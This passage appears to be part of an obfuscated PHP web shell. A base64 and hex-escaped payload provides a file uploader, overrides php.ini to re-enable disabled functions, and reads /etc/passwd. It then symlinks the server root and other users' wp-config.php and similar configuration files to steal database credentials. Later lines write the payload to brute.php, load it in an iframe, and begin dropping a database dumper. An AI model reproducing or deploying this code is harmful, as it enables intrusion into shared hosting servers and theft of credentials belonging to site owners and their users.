ICJcdFxuXHQ8L1x4NzN0XHg3Mlx4NmZceDZlZ1x4M2VcdFxuXHQ8L1x4NzRceDY0XHgzZVxuIFx4MjAgXHgyMFx0XHRcdFx0XHgzYy9ceDc0XHg3Mj5cbiAgIFx4MjA8XHg3NFx4NzJceDNlXG5ceDIwXHgyMFx4MjBceDIwXHgzY3RceDY0XHgyMFx4NzZhXHg2Y2lnblx4M2RcInRceDZmcFx4MjIgXHg2Mmdjb2xceDZmcj1cIlx4MjNceDMxNVx4MzE1XHgzMVx4MzVcIlx4MjBceDczXHg3NFx4NzlsXHg2NT1ceDIyXHg3N2lkdGg6IFx4MzFceDMzOXBceDc4XCI+XHgzY1x4NzN0cm9ceDZlXHg2N1x4M2VVbmFtXHg2NTwvXHg3M1x4NzRceDcyb1x4NmVnXHgzZTwvXHg3NGRceDNlXG4gIFx4MjBceDIwPFx4NzRceDY0XHgyMHZceDYxXHg2Y2lceDY3XHg2ZVx4M2RcInRvcFwiXHgyMGJnY29sXHg2ZnI9XHgyMiNceDMxXHgzNTE1MTVcIiBjXHg2ZmxceDczXHg3MFx4NjFceDZlXHgzZFwiXHgzNVwiXHgzZVxuXHQ8XHg3M1x4NzRyb1x4NmVnXHgzZVxuIjtlY2hvIjxceDY2b1x4NmVceDc0XHgyMGZhXHg2M2U9XHgyMlZceDY1XHg3Mlx4NjRceDYxXHg2ZWFceDIyIHNceDY5XHg3YWU9XHgyMlx4MzJcIj5cblxuIi5waHBfdW5hbWUoKS4iXG5cbiI7ZWNobyAiXHgzYy9ceDczXHg3NHJvXHg2ZWdceDNlXHgzYy90ZD5ceDNjL1x4NzRceDcyXHgzZVx4M2N0cj5cbiAgXHgyMCBceDNjdFx4NjRceDIwXHg3Nlx4NjFceDZjXHg2OWdceDZlPVx4MjJceDc0XHg2Zlx4NzBceDIyXHgyMFx4NjJceDY3XHg2M1x4NmZsb1x4NzJceDNkXHgyMlx4MjNceDMxXHgzNTE1MTVceDIyIHNceDc0XHg3OWxlXHgzZFx4MjJceDc3aVx4NjRceDc0XHg2ODpceDIwXHgzMTNceDM5XHg3MHhcIj48c3Ryb1x4NmVceDY3Plx4NTRceDZmXHg2Zlx4NmNzPC9ceDczXHg3NFx4NzJvXHg2ZWc+PC9ceDc0XHg2ND5cblx4MjBceDIwXHgyMFx4MjBceDNjdGQgdlx4NjFceDZjXHg2OWduPVwiXHg3NFx4NmZwXHgyMiBceDYyXHg2N2NceDZmbG9ceDcyPVx4MjIjXHgzMVx4MzUxXHgzNTE1XCIgXHg2M1x4NmZceDZjXHg3M3BceDYxXHg2ZVx4M2RcIlx4MzVcIj5cblx0PHNceDc0XHg3Mlx4NmZceDZlZ1x4M2VcbiI7ZWNobyI8XHg2M2VceDZldFx4NjVceDcyPlx4M2NceDY2b1x4NzJceDZkXHgyMFx4NjFjXHg3NFx4NjlvXHg2ZVx4M2RceDIyXHgyMiBceDZkXHg2NVx4NzRceDY4XHg2ZmRceDNkXCJceDcwb1x4NzNceDc0XHgyMlx4MjBceDY1XHg2ZVx4NjN0XHg3OXBceDY1PVx4MjJtdWxceDc0XHg2OVx4NzBceDYxXHg3Mlx4NzQvXHg2Nm9ceDcybS1ceDY0YXRhXHgyMiBuXHg2MVx4NmRlXHgzZFwidVx4NzBceDZjb1x4NjFkZVx4NzJcIiBceDY5XHg2NFx4M2RceDIyXHg3NXBceDZjXHg2Zlx4NjFceDY0ZXJcIj4iO2VjaG8iXHgzY1x4NjNceDY1blx4NzRlXHg3Mj5ceDNjaVx4NmVwXHg3NVx4NzRceDIwXHg3NHlceDcwZT1cIlx4NjZpXHg2Y1x4NjVceDIyXHgyMG5ceDYxXHg2ZGVceDNkXHgyMmZpXHg2Y1x4NjVcIiBceDczXHg2OVx4N2FlXHgzZFx4MjJceDM1MFwiXHgzZVx4M2NceDY5XHg2ZXB1XHg3NCBceDZlXHg2MW1lXHgzZFwiX1x4NzVceDcwXHg2Y1wiIFx4NzR5cFx4NjU9XHgyMlx4NzNceDc1Ylx4NmRceDY5dFwiIGlceDY0PVx4MjJceDVmXHg3NVx4NzBceDZjXCJceDIwdmFceDZjXHg3NVx4NjU9XHgyMlx4NTVwbG9ceDYxXHg2NFx4MjI+XHgzYy9ceDY2XHg2Zlx4NzJceDZkXHgzZTwvY2VceDZldFx4NjVceDcyXHgzZSI7aWYoJF9QT1NUWyJceDVmdVx4NzBceDZjIl09PSJVcGxceDZmXHg2MVx4NjQiKXtpZihAY29weSgkX0ZJTEVTWyJmXHg2OWxceDY1Il1bIlx4NzRtXHg3MFx4NWZuYW1ceDY1Il0sJF9GSUxFU1siZmlsXHg2NSJdWyJuXHg2MW1ceDY1Il0pKXtlY2hvIlx4M2NwIFx4NjFceDZjXHg2OWdceDZlXHgzZFx4MjJceDYzXHg2NVx4NmV0XHg2NVx4NzJcIlx4M2VceDNjXHg2Nm9ceDZlXHg3NCBceDY2XHg2MVx4NjNlXHgzZFx4MjJWXHg2NXJceDY0YVx4NmVceDYxXHgyMlx4MjBceDczXHg2OXplXHgzZFwiXHgzMVwiXHgzZVx4M2NceDY2b250XHgyMFx4NjNceDZmXHg2Y29ceDcyXHgzZFwid2hpdGVceDIyPiBEXHg2Zlx4NmVlXHgyMFx4MjEgPC9ceDY2XHg2Zlx4NmVceDc0PjxceDYyclx4M2UiO31lbHNle2VjaG8iXHgzY2ZvXHg2ZXRceDIwY1x4NmZsXHg2ZnJceDNkXCJceDIzXHg0Nlx4NDYwMDBceDMwXHgyMj5ceDQ2YVx4NjlsZVx4NjQgXHgyMSBceDNjL1x4NjZvbnQ+PC9ceDcwPlxuXG4iO319ZWNobyAiXHgzY2hyXHgyMGNvXHg2Y1x4NmZceDcyPVx4NmNceDY5XHg2ZGU+XG4jXHg1MFx4NzJceDZmY1x4NmZceDY0XHg2NXJ6IFx4NTRceDY1YVx4NmRceDIwQVx4NmNiYW5ceDY5YSAtXHgyMDEzMzdceDc3MHJceDZkICZjb1x4NzB5XHgzYiBSZXRceDZlXHg0ZkhceDYxY0sgMlx4MzAxXHgzM1xuXHgzYy9ceDczXHg3NHJceDZmXHg2ZWdceDNlPC90XHg2ND5cbjwvXHg3NGVceDc4XHg3NFx4NjFceDcyXHg2NWE+XG48Y1x4NjVceDZlXHg3NGVyPlxuXHgzY2ZceDZmXHg3Mm0gbWV0XHg2OFx4NmZkPVx4NzBceDZmXHg3M3Q+XHgzY1x4NjlucFx4NzV0IHRceDc5XHg3MFx4NjVceDNkXHg3M1x4NzVceDYyXHg2ZGlceDc0IFx4NmVhbWVceDNkaW5ceDY5IFx4NzZceDYxbHVceDY1PVx4MjJceDUwSFx4NTBceDJlXHg0OVx4NGVceDQ5XHgyMiAvXHgzZVxuXHgzY1x4NjZvcm0gXHg2ZGV0XHg2OG9kPVx4NzBceDZmXHg3M1x4NzQ+PFx4NjlucHVceDc0IHRceDc5cFx4NjVceDNkXHg3M1x4NzVibVx4NjlceDc0IG5hXHg2ZFx4NjU9XHgyMnVceDczcmVcIiB2XHg2MVx4NmN1XHg2NVx4M2RcIkNceDUyXHg0MUNceDRiRVJcIiAvPlx4M2MvXHg2Nlx4NmZybT48L2Zvcm0+XG5cdCI7aWYoaXNzZXQoJF9QT1NUWyJpXHg2ZWkiXSkpeyR7Ilx4NDdceDRjT0JBXHg0Y1x4NTMifVsiXHg2Y1x4NzdceDc2Zlx4NmRceDZmIl09ImxceDY5bmsiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc1XHg3NW9lXHg2Y1x4NjRceDZjXHg2OFx4NmUiXX09Zm9wZW4oInBceDY4XHg3MFx4MmVceDY5XHg2ZWkiLCJ3Iik7JHsiXHg0N1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDcwXHg3Mlx4NzVkXHg2OFx4NzJzdFx4NmEiXT0iXHg3MiI7JHhja2RieWRnZD0iXHg3Mlx4NzIiOyR7JHsiR1x4NGNPQlx4NDFMXHg1MyJ9WyJsZ1x4NjNceDZka1x4NmJqIl19PSIgXHg2NFx4NjlzYlx4NjFceDZjXHg2NV9ceDY2dW5ceDYzdGlceDZmXHg2ZXNceDNkXHg2ZVx4NmZuXHg2NSAiO2Z3cml0ZSgkeyR7Ilx4NDdceDRjT0JBXHg0Y1MifVsicFx4NzJ1XHg2NFx4Njhyc3RqIl19LCR7JHhja2RieWRnZH0pOyR7JHsiXHg0N0xceDRmXHg0MkFceDRjXHg1MyJ9WyJuZmRceDZlXHg2OXlceDY1Il19PSJceDNjXHg2Mlx4NzI+XHgzY2EgaHJlZlx4M2RceDcwXHg2OHBceDJlaW5ceDY5Plx4M2NmXHg2Zlx4NmVceDc0IFx4NjNceDZmXHg2Y1x4NmZceDcyPXdoaVx4NzRlIFx4NzNceDY5elx4NjVceDNkMlx4MjBceDY2YWNlXHgzZFwiXHg1NEFIT1x4NGRBXHgyMlx4M2U8dVx4M2VceDNjXHg2Nlx4NmZceDZlXHg3NFx4MjBceDYzb2xceDZmXHg3Mlx4M2RyZWQ+RFx4NGZORTwvZm9uXHg3ND4gXHg0Zlx4NzBlblx4MjBceDc0XHg2OFx4NjlzIGxpbmsgXHg2OW5ceDIwbmVceDc3IHRhXHg2MiB0b1x4MjByXHg3NW5ceDIwUFx4NDhceDUwXHgyZUlOXHg0OTwvXHg3NVx4M2U8L2Zvblx4NzRceDNlXHgzYy9hXHgzZSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDZjXHg3N1x4NzZmXHg2ZFx4NmYiXX07fWlmKGlzc2V0KCRfUE9TVFsidVx4NzNyZSJdKSl7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJceDc5XHg2Nlx4NzdceDcyeWlceDZlIl09Ilx4NzVzZVx4NzIiO2VjaG8gIlx4M2Nmb3JceDZkXHgyMG1ceDY1XHg3NFx4NjhceDZmZD1ceDcwXHg2Zlx4NzNceDc0PlxuXHQ8XHg3NGVceDc4dGFceDcyZVx4NjFceDIwXHg3Mm93XHg3M1x4M2QxMCBjb1x4NmNceDczPVx4MzUwXHgyMFx4NmVceDYxXHg2ZGU9dXNlcj4iOyR7JHsiR1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJvXHg3NG1ceDc2d3V5XHg3MiJdfT1maWxlKCIvXHg2NXRjL3BceDYxXHg3M1x4NzNceDc3XHg2NCIpO2ZvcmVhY2goJHskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NmZceDc0XHg2ZFx4NzZ3XHg3NVx4NzlceDcyIl19IGFzJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NzlceDY2XHg3N1x4NzJ5XHg2OVx4NmUiXX0peyR7IkdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NmVwZWhceDZhcyJdPSJzXHg3NFx4NzIiOyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Mlx4NmVceDYyXHg2ZXdceDZhdFx4NjZ5XHg2ZVx4NzciXT0idVx4NzNceDY1XHg3MiI7JHsiR0xPXHg0Mlx4NDFMXHg1MyJ9WyJceDY4XHg2MmJceDc1XHg3YVx4NzRceDY1XHg2ZXBceDc0Il09Ilx4NzNceDc0XHg3MiI7JHskeyJceDQ3XHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NmVceDZlXHg3MFx4NjVoXHg2YVx4NzMiXX09ZXhwbG9kZSgiOiIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImJceDZlXHg2Mm53XHg2YVx4NzRmXHg3OW5ceDc3Il19KTtlY2hvJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDYyXHg2MnVceDdhdFx4NjVceDZlcHQiXX1bMF0uIlxuIjt9ZWNobyAiPC9ceDc0ZVx4Nzh0XHg2MXJceDY1XHg2MT5ceDNjXHg2MnJceDNlPFx4NjJyXHgzZVxuXHRceDNjXHg2OW5wdXRceDIwXHg3NHlceDcwXHg2NVx4M2RceDczXHg3NWJtaVx4NzRceDIwXHg2ZWFceDZkXHg2NT1zXHg3NVx4MjBceDc2XHg2MVx4NmN1ZVx4M2RcIlNceDc0XHg2MXJceDc0XHgyMFx4NDNyXHg2MWNceDZiXHg2OVx4NmVceDY3XCJceDIwL1x4M2VceDNjL1x4NjZvclx4NmQ+XG5cdCI7fWVjaG8gIlx0IjtlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyI8Zm9uXHg3NCBceDYzXHg2ZmxvXHg3Mlx4M2RceDcyZWQgXHg3M1x4Njl6ZVx4M2RceDMyXHgyMFx4NjZhXHg2M2VceDNkXHgyMlRBSFx4NGZceDRkQVx4MjI+IjtpZihpc3NldCgkX1BPU1RbInNceDc1Il0pKXtta2RpcigiXHg2MnQiLDA3NzcpOyRtaWZncW5taD0iXHg2NyI7JHsiR0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYzXHg2ZVx4NmJlXHg2M1x4NzFceDYyXHg2ZFx4NzlceDY3YyJdPSJceDc1XHg3M1x4NzIiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NzZceDZhdXBceDYzaVx4Nzl4XHg2MiJdPSJyXHg3MiI7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJtXHg3Nlx4NzZpcHRceDY5XHg3MGF5Il09Ilx4NjJ0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NzlceDY0dlx4NjJceDc2eFx4NzNceDc2Il09ImYiOyR7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJuXHg3Nlx4NmF1XHg3MFx4NjNpXHg3OVx4NzhceDYyIl19PSJceDIwT1x4NzB0aW9ceDZlcyBceDYxXHg2Y2wgXG4gRFx4NjlyZWNceDc0b1x4NzJceDc5SVx4NmVkZVx4NzhceDIwXHg1M1x4NzV4LmhceDc0XHg2ZGwgXG5ceDIwXHg0MWRceDY0XHg1NFx4NzlceDcwXHg2NVx4MjBceDc0XHg2NXh0L1x4NzBsXHg2MVx4NjlceDZlXHgyMC5ceDcwXHg2OHAgXG4gQWRkXHg0OFx4NjFceDZlZFx4NmNceDY1clx4MjBzZVx4NzJceDc2ZXItcGFyXHg3M2VceDY0XHgyMFx4MmVceDcwXHg2OFx4NzAgXG5ceDIwXHgyMFx4NDFceDY0ZFx4NTR5cFx4NjVceDIwXHg3NFx4NjVceDc4dC9wbFx4NjFpXHg2ZVx4MjBceDJlaHRtbCBcbiBBXHg2NGRceDQ4XHg2MVx4NmVceDY0XHg2Y1x4NjVyIFx4NzRceDc4dFx4MjAuaFx4NzRceDZkXHg2Y1x4MjBcblx4MjBceDUyXHg2NVx4NzFceDc1aXJceDY1IE5vblx4NjVceDIwXG5ceDIwU2F0aXNmXHg3OVx4MjBBXHg2ZXkiOyR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczXHg2MWZceDczXHg2ZVx4NzNceDcwdFx4NzEiXX09Zm9wZW4oIlx4NjJceDc0Ly5ceDY4XHg3NFx4NjFceDYzXHg2M2VceDczXHg3MyIsIlx4NzciKTskZGxnYmV3dG5yPSJjXHg2Zm5maVx4NjdceDc1XHg3Mlx4NjFceDc0XHg2OW9uIjskanhmdGVuPSJyXHg3MiI7ZndyaXRlKCR7JG1pZmdxbm1ofSwkeyRqeGZ0ZW59KTskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzdceDc1XHg2N1x4NzZ6XHg3OXl0Il09Ilx4NzVzciI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NmRceDc2XHg3Nlx4NjlwdGlwXHg2MVx4NzkiXX09c3ltbGluaygiLyIsIlx4NjJ0L1x4NzJceDZmXHg2Zlx4NzQiKTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg3OVx4Nzl4cGd0XHg2OWZceDYyIl19PSJceDNjYnI+PGFceDIwXHg2OFx4NzJlZj1idC9ceDcyb1x4NmZ0Plx4M2NmXHg2Zm5ceDc0XHgyMGNceDZmbFx4NmZceDcyPXdceDY4XHg2OVx4NzRlXHgyMHNceDY5elx4NjU9M1x4MjBmYVx4NjNceDY1XHgzZFwiXHg1NEFceDQ4XHg0Zk1ceDQxXCJceDNlIHJvb1x4NzQgPC9mb25ceDc0Plx4M2MvYVx4M2VceDNjZlx4NmZceDZlXHg3NCBceDYzXHg2Zmxvclx4M2RyXHg2NVx4NjRceDIwc2lceDdhXHg2NT0zIGZhY2VceDNkXHgyMlx4NTRBXHg0OFx4NGZNQVwiPlx4MjB+IDwvZm9udD4iO2VjaG8iPFx4NzVceDNlJHJ0PC9ceDc1PiI7JHsiXHg0N1x4NGNceDRmQlx4NDFMUyJ9WyJceDYyXHg3MFx4NmVceDY5XHg3OFx4NjJceDY4XHg3NndceDYyIl09Ilx4NjYiOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc4XHg3Mlx4NmVceDcycVx4NmVceDY1XHg2NVx4NzFceDc5XHg2Nlx4NmUiXX09bWtkaXIoIlx4NDJceDU0IiwwNzc3KTskeyR7Ilx4NDdMT0JceDQxTFMifVsidXVceDZmXHg2NVx4NmNkXHg2Y1x4NjhuIl19PSIgXHg0ZnBceDc0aVx4NmZuc1x4MjBceDYxXHg2Y2wgXG5ceDIwXHg0NGlyXHg2NWNceDc0XHg2Zlx4NzJ5SVx4NmVceDY0XHg2NXhceDIwXHg1M1x4NzVceDc4Llx4NjhceDc0XHg2ZFx4NmNceDIwXG4gQWRkXHg1NHlwXHg2NVx4MjB0ZVx4Nzh0L3BsXHg2MVx4NjluXHgyMFx4MmVwaHBceDIwXG5ceDIwXHg0MVx4NjRkSGFceDZlZGxceDY1ciBzZXJ2XHg2NXItcFx4NjFceDcyXHg3M2VkIC5wXHg2OHBceDIwXG5ceDIwIFx4NDFkXHg2NFR5cGVceDIwXHg3NFx4NjV4dC9ceDcwXHg2Y2Fpblx4MjAuXHg2OFx4NzRceDZkbCBcblx4MjBBZFx4NjRIYVx4NmVkXHg2Y2VyIFx4NzRceDc4XHg3NFx4MjAuXHg2OHRtXHg2Y1x4MjBcblx4MjBSXHg2NXFceDc1XHg2OVx4NzJceDY1IFx4NGVceDZmblx4NjUgXG4gXHg1M1x4NjF0aVx4NzNceDY2XHg3OVx4MjBBXHg2ZVx4NzkiOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc5XHg2NFx4NzZceDYydnhzXHg3NiJdfT1mb3BlbigiQlx4NTQvLlx4Njh0YVx4NjNceDYzZVx4NzNceDczIiwiXHg3NyIpO2Z3cml0ZSgkeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2MnBceDZlXHg2OVx4NzhceDYyXHg2OFx4NzZceDc3XHg2MiJdfSwkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzVvXHg2NVx4NmNceDY0bFx4NjhuIl19KTskeyJceDQ3XHg0Y09CXHg0MVx4NGNceDUzIn1bIlx4NzFceDZhXHg3NFx4N2F4XHg2OFx4NjJoXHg2YVx4NjkiXT0iXHg3NVx4NzNzIjskeyR7Ilx4NDdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3YVx4NmVceDZjZmNceDY3Il19PSJceDNjXHg2MSBceDY4clx4NjVceDY2PVx4NDJceDU0Lz5ceDNjXHg2Nm9ceDZldCBjXHg2Zlx4NmNceDZmXHg3Mlx4M2RceDc3aFx4NjlceDc0ZSBzaVx4N2FlPVx4MzMgXHg2Nlx4NjFjXHg2NT1ceDIyXHg1NFx4NDFceDQ4T01ceDQxXCJceDNlXHgyMCBjXHg2Zm5maVx4NjdceDczIDwvZlx4NmZuXHg3NFx4M2U8L2E+IjtlY2hvIjxceDc1PiRjb25zeW1ceDNjL1x4NzU+IjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg2M25rXHg2NVx4NjNxYlx4NmRceDc5XHg2N2MiXX09ZXhwbG9kZSgiXG4iLCRfUE9TVFsidXNceDY1XHg3MiJdKTskeyRkbGdiZXd0bnJ9PWFycmF5KCJ3XHg3MC1ceDYzb25ceDY2aWcucFx4NjhceDcwIiwiXHg3N29yXHg2NFx4NzByXHg2NVx4NzNzL1x4NzdceDcwLVx4NjNceDZmblx4NjZceDY5Zy5ceDcwaHAiLCJceDYzb1x4NmVceDY2aVx4NjdceDc1cmFceDc0XHg2OW9uXHgyZXBceDY4cCIsImJceDZjXHg2ZmcvXHg3N3AtXHg2M29uXHg2Nlx4NjlceDY3LnBceDY4XHg3MCIsIlx4NmFvb21sXHg2MS9jXHg2Zm5ceDY2aVx4Njd1XHg3MmFceDc0XHg2OW9uXHgyZXBocCIsInNceDY5XHg3NGUvd1x4NzAtY29uXHg2Nlx4NjlnXHgyZXBceDY4XHg3MCIsInNpdFx4NjUvY29uZlx4NjlnXHg3NVx4NzJceDYxdFx4NjlceDZmbi5ceDcwaHAiLCJceDYzXHg2ZFx4NzMvY29ceDZlZlx4NjlceDY3XHg3NVx4NzJceDYxdFx4NjlceDZmXHg2ZS5waFx4NzAiLCJceDc2Yi9pXHg2ZWNceDZjdVx4NjRlXHg3My9ceDYzb25ceDY2aVx4NjdceDJlcFx4NjhwIiwiXHg2OVx4NmVceDYzbFx4NzVceDY0XHg2NXMvY1x4NmZuZmlnXHgyZVx4NzBocCIsImNvXHg2ZVx4NjZfXHg2N2xceDZmYlx4NjFsXHgyZXBceDY4XHg3MCIsImluXHg2My9jXHg2Zlx4NmVmXHg2OVx4NjdceDJlXHg3MFx4NjhwIiwiY1x4NmZuXHg2NmlceDY3XHgyZVx4NzBocCIsIlx4NTNlXHg3NHRceDY5blx4NjdceDczXHgyZXBoXHg3MCIsIlx4NzNpdGVceDczL1x4NjRceDY1XHg2NmF1XHg2Y1x4NzQvXHg3M2V0dFx4NjlceDZlXHg2N1x4NzMuXHg3MFx4NjhwIiwiXHg3N2hceDZkL1x4NjNvXHg2ZWZpZ1x4NzVceDcyXHg2MXRceDY5b25ceDJlcFx4NjhwIiwid1x4NjhtXHg2M3MvXHg2M29uXHg2Nlx4NjlceDY3dVx4NzJhdGlceDZmXHg2ZS5waFx4NzAiLCJceDczdVx4NzBwXHg2ZnJceDc0L1x4NjNvXHg2ZWZpZ1x4NzVceDcyYXRpXHg2Zlx4NmUucGhceDcwIiwid1x4NjhceDZkYy9ceDU3XHg0OE0vY29ceDZlXHg2Nlx4NjlnXHg3NVx4NzJceDYxXHg3NFx4Njlvblx4MmVceDcwXHg2OFx4NzAiLCJ3XHg2OFx4NmQvV1x4NDhceDRkXHg0M1x4NTMvY29uXHg2NmlceDY3dVx4NzJceDYxXHg3NFx4NjlceDZmbi5ceDcwaFx4NzAiLCJ3XHg2OFx4NmQvXHg3N2hceDZkY1x4NzMvY1x4NmZuXHg2Nlx4NjlndVx4NzJceDYxdFx4NjlceDZmXHg2ZVx4MmVwXHg2OFx4NzAiLCJceDczXHg3NXBceDcwb3J0L2NceDZmblx4NjZceDY5Z3VceDcyXHg2MVx4NzRceDY5XHg2Zlx4NmUucGhwIiwiY2xpXHg2NVx4NmVceDc0XHg3My9ceDYzb1x4NmVmXHg2OVx4Njd1clx4NjF0aW9uLnBocCIsIlx4NjNsaWVuXHg3NC9ceDYzXHg2Zlx4NmVmaVx4NjdceDc1XHg3MmF0XHg2OVx4NmZuXHgyZVx4NzBceDY4cCIsIlx4NjNsaVx4NjVceDZlXHg3NFx4NjVzL2Nvblx4NjZceDY5XHg2N1x4NzVyYVx4NzRceDY5XHg2Zm5ceDJlXHg3MFx4NjhceDcwIiwiY1x4NmNpZW5ceDc0ZS9ceDYzb25mXHg2OWd1XHg3Mlx4NjF0XHg2OVx4NmZceDZlLnBocCIsImNceDZjaWVudFx4NzNceDc1cFx4NzBvcnQvY1x4NmZceDZlZmlceDY3XHg3NXJceDYxXHg3NGlceDZmXHg2ZS5ceDcwXHg2OFx4NzAiLCJiXHg2OVx4NmNceDZjXHg2OVx4NmVnL1x4NjNvXHg2ZWZpZ1x4NzVceDcyYXRceDY5b25ceDJlcFx4NjhceDcwIiwiXHg2MVx4NjRtXHg2OVx4NmUvXHg2M1x4NmZuZmlceDY3LnBoXHg3MCIsImFkXHg2ZC9ceDYzXHg2Zm5ceDY2XHg2OVx4NjcuXHg3MFx4NjhceDcwIiwiXHg2M1x4NmRceDczL1x4NjNceDZmXHg2ZWZpZ1x4MmVceDcwXHg2OFx4NzAiKTtmb3JlYWNoKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJceDc3XHg3NWdceDc2XHg3YVx4NzlceDc5dCJdfSBhcyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJceDcxXHg2YXR6XHg3OGhceDYyXHg2OFx4NmFpIl19KXskeyJceDQ3XHg0Y1x4NGZCQUxceDUzIn1bImlceDczXHg3N3BceDZmXHg3M3FiIl09InVceDczIjskeXZwaW9zdmhleHo9Ilx4NzVceDczXHg3MyI7JHskeyJceDQ3TE9ceDQyQVx4NGNTIn1bIlx4NjlceDczd3BceDZmc3FceDYyIl19PXRyaW0oJHskeXZwaW9zdmhleHp9KTtmb3JlYWNoKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc4XHg3M3NceDc1XHg2Ylx4NjVceDc0XHg2OGx4Il19IGFzJHskeyJceDQ3XHg0Y09CQUxceDUzIn1bImZ5XHg2N1x4NjZceDc3XHg2NnBwIl19KXskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImVieWdhXHg3MFx4NzZceDdhIl09ImMiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2NFx4NzlceDc4d1x4NzdceDYyXHg2OGRceDdhXHg2OGIiXT0iXHg3MiI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJ5XHg2NXNceDZkbmRnXHg2M3MiXT0idVx4NzMiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3MFx4NjhceDY5XHg3OHJyZ1x4NzZceDcxdlx4NmIiXT0iXHg3Mlx4NzMiOyR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDcwaFx4NjlceDc4XHg3Mlx4NzJnXHg3Nlx4NzFceDc2XHg2YiJdfT0iL2hceDZmbWUvIi4keyR7IkdceDRjT1x4NDJBXHg0Y1MifVsiXHg3OWVzbW5ceDY0Z1x4NjNceDczIl19LiIvXHg3MFx4NzVceDYyXHg2Y2lceDYzXHg1Zlx4Njh0XHg2ZGwvIi4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2Nlx4NzlceDY3XHg2Nlx4NzdceDY2XHg3MFx4NzAiXX07JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZhXHg2N1x4NzBceDc0dFx4NzN0ZFx4NmFtIl09Ilx4NzJzIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzVceDZmXHg2NVx4NmNceDY0XHg2Y1x4NjhceDZlIl19PSJCXHg1NC8iLiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJ5dHFzaVx4NjRceDYyXHg3NVx4NzdceDYyIl19LiJceDIwXHgyZS5ceDIwIi4keyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiZVx4NjJ5XHg2N2FwXHg3NnoiXX07c3ltbGluaygkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsialx4NjdceDcwXHg3NFx4NzRceDczXHg3NGRceDZhXHg2ZCJdfSwkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2NFx4NzlceDc4XHg3N1x4NzdceDYyXHg2OFx4NjRceDdhXHg2OFx4NjIiXX0pO319fQo/Pg==
1907';
1908 $file = fopen("brute.php", "w+");
1909 $write = fwrite($file, base64_decode($perltoolss));
1910 fclose($file);
1911 echo "<iframe src=brute.php width=100% height=720px frameborder=0></iframe> ";
1912} elseif ($action == 'dumper') {
1913 $file = fopen($dir . "dumper.php", "w+");
1914 $file = mkdir("backup");
1915 $file = chmod("backup", 0755);
1916 $perltoolss = 'PD9waHAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKlwKfCBTeXBleCBEdW1wZXIgTGl0ZSAgICAgICAgICB2ZXJzaW9uIDEuMC44YiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfCAoYykyMDAzLTIwMDYgemFwaW1pciAgICAgICB6YXBpbWlyQHphcGltaXIubmV0ICAgICAgIGh0dHA6Ly9zeXBleC5uZXQvICAgIHwKfCAoYykyMDA1LTIwMDYgQklOT1ZBVE9SICAgICBpbmZvQHN5cGV4Lm5ldCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXwKfCAgICAgY3JlYXRlZDogMjAwMy4wOS4wMiAxOTowNyAgICAgICAgICAgICAgbW9kaWZpZWQ6IDIwMDguMTIuMTQgICAgICAgICAgIHwKfC0tLS0tLS0tLS0tLS0tLS0tLS0